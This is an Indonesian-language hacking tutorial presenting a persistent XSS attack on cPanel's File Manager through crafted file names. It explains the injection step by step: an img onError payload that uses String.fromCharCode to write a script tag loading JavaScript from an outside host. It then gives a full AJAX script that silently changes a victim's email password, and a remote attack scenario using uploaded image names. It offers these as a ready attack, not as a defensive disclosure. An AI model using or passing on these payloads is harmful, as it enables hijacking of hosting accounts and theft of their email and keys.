Cara Mudah Hacking Attack dengan XXS dari Control Panel, tutor mudah dengan gambar
Cpanel adalah aplikasi pengelolaan hosting yang sangat vital karena dengan aplikasi ini seseorang bisa mengelola semua hal yang terkait dengan hosting antara lain website, email, kunci SSL dan PGP, mysql database, DNS, domain dan masih banyak lagi. Oleh karena itu sangat berbahaya bila account cpanel seseorang berhasil dibajak orang lain. Dalam artikel ini akan saya jelaskan salah satu serangan yang sangat berbahaya, yaitu XSS (Cross Site Scripting) pada File Manager Cpanel, serangan ini menyerang pengguna yang sedang login dalam cpanel, kemudian menjalankan script dengan hak yang sama dengan pemilik account cpanel. Vulnerability ini saya temukan di cpanel versi 11.24.4-CURRENT.
Sekilas tentang CPanel File Manager
Cpanel terdiri dari berbagai macam aplikasi, salah satunya adalah file manager, yang berfungsi untuk mengelola file dalam account hosting. Dengan file manager, seorang pengguna bisa menghapus, membuat, mengedit file dalam file system.
File manager pada cpanel ada dua, yaitu “File Manager” dan “Legacy File Manager”. Perbedaan keduanya hanya pada soal tampilan saja. Legacy adalah versi dengan tampilan yang lebih sederhana dan tidak terlalu banyak menggunakan javascript. Namun dari sisi fungsi keduanya relatif sama, hanya ada penambahan fitur compress, ekstrak pada versi modernnya.
Standard file manager
Legacy file manager
Persistent XSS Attack by Crafting Malicious File Name
Kedua jenis file manager cpanel rentan terhadap serangan XSS. File manager cpanel tidak memfilter nama file yang ditampilkan di web sehingga attacker bisa menginjeksi script atau kode html dengan cara membuat file dengan nama yang mengandung kode html dan javascript.
Dilihat dari tingkat bahayanya, serangan pada Legacy File Manager lebih berbahaya karena hanya dengan melihat nama filenya saja malicious code yang dikirimkan attacker akan dieksekusi browser. Dalam file manager yang standard, cpanel berhasil memfilter karakter berbahaya dari nama file sehingga malicious code tidak dieksekusi dalam halaman daftar file. Namun, cpanel rupanya lupa untuk memfilter task delete, copy, move, code/html editor,compress, change permission. Agar malicious code attacker dieksekusi browser, korban harus memilih file tersebut dengan checkbox, kemudian melakukan salah satu diantara: delete,copy,move,edit,compress atau change permission.
Jadi jelas bahwa serangan xss ini lebih berbahaya pada Legacy File Manager, karena korban tidak perlu berbuat apa-apa lagi selain melihat daftar file dalam suatu folder. Oleh karena itu dalam artikel ini saya akan memfokuskan pembahasan pada serangan ke Legacy File Manager namun dengan exploit yang bisa bekerja di kedua jenis file manager.
Attacking Legacy File Manager (LFM)
Mari kita lihat bagaimana LGM menampilkan nama file dalam daftar file di web. Gambar di bawah ini menunjukkan bagaimana 2 file dalam suatu folder ditampilkan di web.
File list in legacy file manager
Ada dua file yang saya jadikan contoh di atas, yaitu:
Ada tiga hal yang bisa disimpulkan dari cara cpanel menampilkan nama file:
Tiap nama file ditulis sebagai bagian dari URL pada query string dir=PATH&file=NAMAFILE. URL tersebut diapit oleh karakter double quote sehingga attacker harus menambahkan double quote . Kemudian harus diikuti juga dengan karakter > agar menutup tag sebelumnya dan tag selanjutnya dianggap tag yang terpisah.
Bila nama file mengandung karakter double quote (“), maka akan diawali dengan backslash menjadi \”. Ini akan menjadi masalah, sehingga attacker harus menghindari double quote dalam nama file agar serangannya berhasil. Double quote yang boleh dimasukkan hanya pada awal nama file seperti pada paragraf di atas.
Tiap nama file akan ditampilkan sebanyak 3x. Ini tidak terlalu bermasalah, hanya fakta bahwa script yang diinjeksi attacker akan dieksekusi 3x oleh browser.
Batasan dalam pembuatan nama file oleh sistem operasi juga perlu diperhatikan. Contoh dalam artikel ini menggunakan cpanel di Linux sehingga batasan nama file yang dibolehkan mengikuti aturan Linux. Nama file di linux maksimum sepanjang 256 karakter. Karakter yang terlarang digunakan salah satunya adalah slash (/). Oleh karena itu attacker harus bisa membuat serangan dengan nama file tidak lebih dari 256 karakter dan tidak boleh mengandung karakter slash.
Attack using IMG tag to load external script
Karena batasan dari cpanel dan filesystem yang dijelaskan di atas, maka attacker harus membuat nama file seperti berikut ini:
* Panjang maksimum 256 karakter.
* Tidak mengandung karakter terlarang seperti slash dan double quote.
Karena tidak mungkin serangan yang efektif bisa dilancarkan bila hanya mengandalkan 256 karakter saja, attacker harus membuat browser me-load external script. Sayangnya penggunaan tag script tidak dimungkinkan karena tag ini menuntut digunakannya tag yang mengandung karakter slash.
Cara yang saya pakai agar browser mau meload script external adalah:
1. Menginjeksi javascript dalam tag img
2. Javascript dalam tag img melakukan document.write() yang isinya adalah tag script dengan atribut src dari url luar.
Saya memilih menggunakan tag IMG karena tag ini sifatnya tunggal, tidak perlu ditutup dengan tag . Bagaimana caranya tag img bisa mengeksekusi javascript?
Awalnya saya mencoba memasukkan javascript dalam atribut SRC, namun ternyata cara ini tidak berlaku di firefox. Kemudian saya coba letakkan script dalam atribut onError, yang artinya bila image dalam tag img ini gagal diload, maka script dalam atribut onError akan dieksekusi. Dengan cara ini maka agar script dalam onError selalu dieksekusi, maka saya harus membuat image selalu gagal diload. Itu mudah saya hanya perlu mengosongkan atribut SRC, sehingga img selalu gagal loading dan artinya script selalu dieksekusi. Cara ini berhasil di Firefox dan Internet Explorer, saya belum coba untuk browser lainnya.
Ada satu masalah lagi, yaitu bagaimana cara menghindari penggunaan karakter slash dalam menyebutkan URL? URL berisi script biasanya dalam bentuk http://evilsite.com/path/file.js, sehingga minimal mengandung 3 karakter slash. Nantinya url ini akan dimasukkan dalam atribut SRC dalam tag script.
Namun tag script tidak langsung dituliskan dalam nama file, melainkan ditulis oleh javascript dalam tag img dengan fungsi document.write(). Fungsi document.write meminta masukan berupa string, yang nantinya akan kita isi dengan tag script. Karena masukannya berupa string, maka saya bisa pakai fungsi String.fromCharCode() untuk menghasilkan string dari kode ASCII.
URL external berisi script yang akan saya injeksikan adalah: http://ilmuhacking[dot]com/x.js . Sehingga script dalam tag img harus membuat tag berikut dengan fungsi document.write():
- <script src="http://ilmuhacking[dot]com/x.js">
- </script>
Javascript untuk membuat tag script dengan url seperti di atas adalah:
- document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,1
Deretan angka pada fungi String.fromCharCode adalah kode ASCII dari masing-masing karakter dari script tag yang akan meload external script. Javascript tersebut harus dimasukkan ke dalam atribut onError dari tag img. Jadi tag img yang akan dipakai untuk meload external javascript adalah berikut ini:
Sebelumnya sudah saya jelaskan bahwa nama file ditampilkan dalam source htmlnya sebagai bagian dari tag lain. Contohnya adalah tag berikut:
Bila attacker memasukkan tag img, yang terjadi adalah:
Perhatikan bahwa tag img tersebut terlihat sebagai bagian dari atribut href dari tag A sehingga browser tidak menganggap ada tag image. Agar attacker bisa menginjeksi tag img dengan benar, maka tag A yang melingkupi harus ditutup dulu. Cara menutupnya adalah dengan menambahkan dua karakter: “>
Gambar di atas adalah penjelasan mengapa diperlukan double quote dan > di awal. Dalam gambar diberikan 3 contoh, dari nama file yang normal, kemudian nama file dengan tag img, dan terakhir diawali dengan double quote dan greater than (“>). Nama file tanpa diawali “> akan menjadi bagian dari atribut href dari tag A, namun bila diawali dengan “> maka karakter sesudah 2 karakter itu sudah bukan bagian dari tag A.
Jadi sesuai penjelasan di atas, nama file yang akan dijadikan serangan harus diawali dengan “> sehingga nama file akhir yang harus dibuat untuk melakukan serangan adalah:
Dalam gambar di atas saya menunjukkan cara membuat file dengan nama yang mengandung tag img dari console Linux. Membuat file bisa juga dilakukan dengan upload file bila di web tersebut memberikan kebebasan penggunanya untuk upload misal untuk gambar profil atau album foto. Setelah file yang namanya mengandung exploit xss dibuat, maka berikutnya bila seseorang membuka cpanel dan melihat daftar file dalam folder tempat exploit xss berada, maka script attacker akan dieksekusi browser, secara otomatis, tanpa perlu pengguna berbuat sesuatu lagi.
Attacking (Standard) File Manager
Exploit yang saya jelaskan untuk LFM bisa juga dipakai untuk standard file manager. Hanya saja bedanya script yang diinjeksi attacker hanya bisa dieksekusi bila korban memilih file tersebut lalu melakukan: delete,edit,rename,copy,move,compress,change permission. Bila korban memakai standard file manager, kemungkinan code dieksekusi tidak sebesar pada LFM. Exploit yang sama bila dilihat dengan standard file manager seperti pada gambar berikut:
Memang file list tidak vulnerable, namun bila korban memilih file tersebut, kemudian memilih salah satu diantara: delete,copy,move,rename,change permission,compress, maka script akan dieksekusi seperti pada gambar berikut:
Remote Attack Scenario
Mungkin anda mengira serangan ini hanya bisa dilancarkan secara lokal, setidaknya harus memiliki akses membuat file. Sebenarnya serangan ini bisa dilancarkan secara remote. Salah satu skenario yang mungkin adalah:
“Pada web dengan fitur album foto memungkinkan pengguna untuk upload gambar. Attacker bisa melancarkan serangan ini secara remote dengan upload file gambar dengan malicious file name, kemudian menunggu owner website browsing dengan Cpanel File Manager. Ketika cpanel file manager menampilkan file dengan malicious name ke browser owner…Boom! Ranjau diinjak korban, script attacker akan dieksekusi.”
Example Payload: Changing Victim Email Address
Setelah berhasil membuat browser mengeksekusi remote script, kini saya bebas mengisi script dengan apa pun yang saya inginkan. Dalam artikel ini saya akan memberi contoh script untuk mengubah password email korban dengan menggunakan fungsi AJAX.
Form untuk mengubah password email tidak memerlukan current password, pengguna hanya perlu memasukkan password baru saja. Oleh karena itu saya bisa membuat script yang melakukan submit form tersebut. Script untuk mengubah password email korban adalah:
- var http_request = false;
- function makePOSTRequest(url, parameters) {
- http_request = false;
- if (window.XMLHttpRequest) { // Mozilla, Safari,…
- http_request = new XMLHttpRequest();
- if (http_request.overrideMimeType) {
- // set type accordingly to anticipated content type
- //http_request.overrideMimeType(‘text/xml’);
- http_request.overrideMimeType(‘text/html’);
- }
- } else if (window.ActiveXObject) { // IE
- try {
- http_request = new ActiveXObject(“Msxml2.XMLHTTP”);
- } catch (e) {
- try {
- http_request = new ActiveXObject(“Microsoft.XMLHTTP”);
- } catch (e) {}
- }
- }
- if (!http_request) {
- alert(‘Cannot create XMLHTTP instance’);
- return false;
- }
- http_request.onreadystatechange = alertContents;
- http_request.open(‘POST’, url, true);
- http_request.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”);
- http_request.setRequestHeader(“Content-length”, parameters.length);
- http_request.setRequestHeader(“Connection”, “close”);
- http_request.send(parameters);
- }
- function alertContents() {
- if (http_request.readyState == 4) {
- if (http_request.status == 200) {
- //alert(http_request.responseText);
- result = http_request.responseText;
- alert(result);
- } else {
- alert(‘There was a problem with the request.’);
- }
- }
- }
- var poststr =
- “quota=” + encodeURI(“250″) +
- “&password2=” + encodeURI(“newpassword”) +
- “&password=” + encodeURI(“newpassword”) +
- “&email=” + encodeURI(“testing”) +
- “&domain=” + encodeURI(“ilmuhacking.com” );
- makePOSTRequest(‘/frontend/x3/mail/dopasswdpop.html’, poststr);
Script di atas melakukan POST request dengan fungsi AJAX, ke URL /frontend/x3/mail/dopasswdpop.html bersama dengan POST data: quota (dalam mega byte), password, password2, email dan domain.
Masih banyak payload lain yang bisa dibuat antara lain membuat user mysql baru, mencuri private key PGP dsb. Semua yang bisa dilakukan korban ketika login cpanel, bisa juga dilakukan dengan exploit script xss.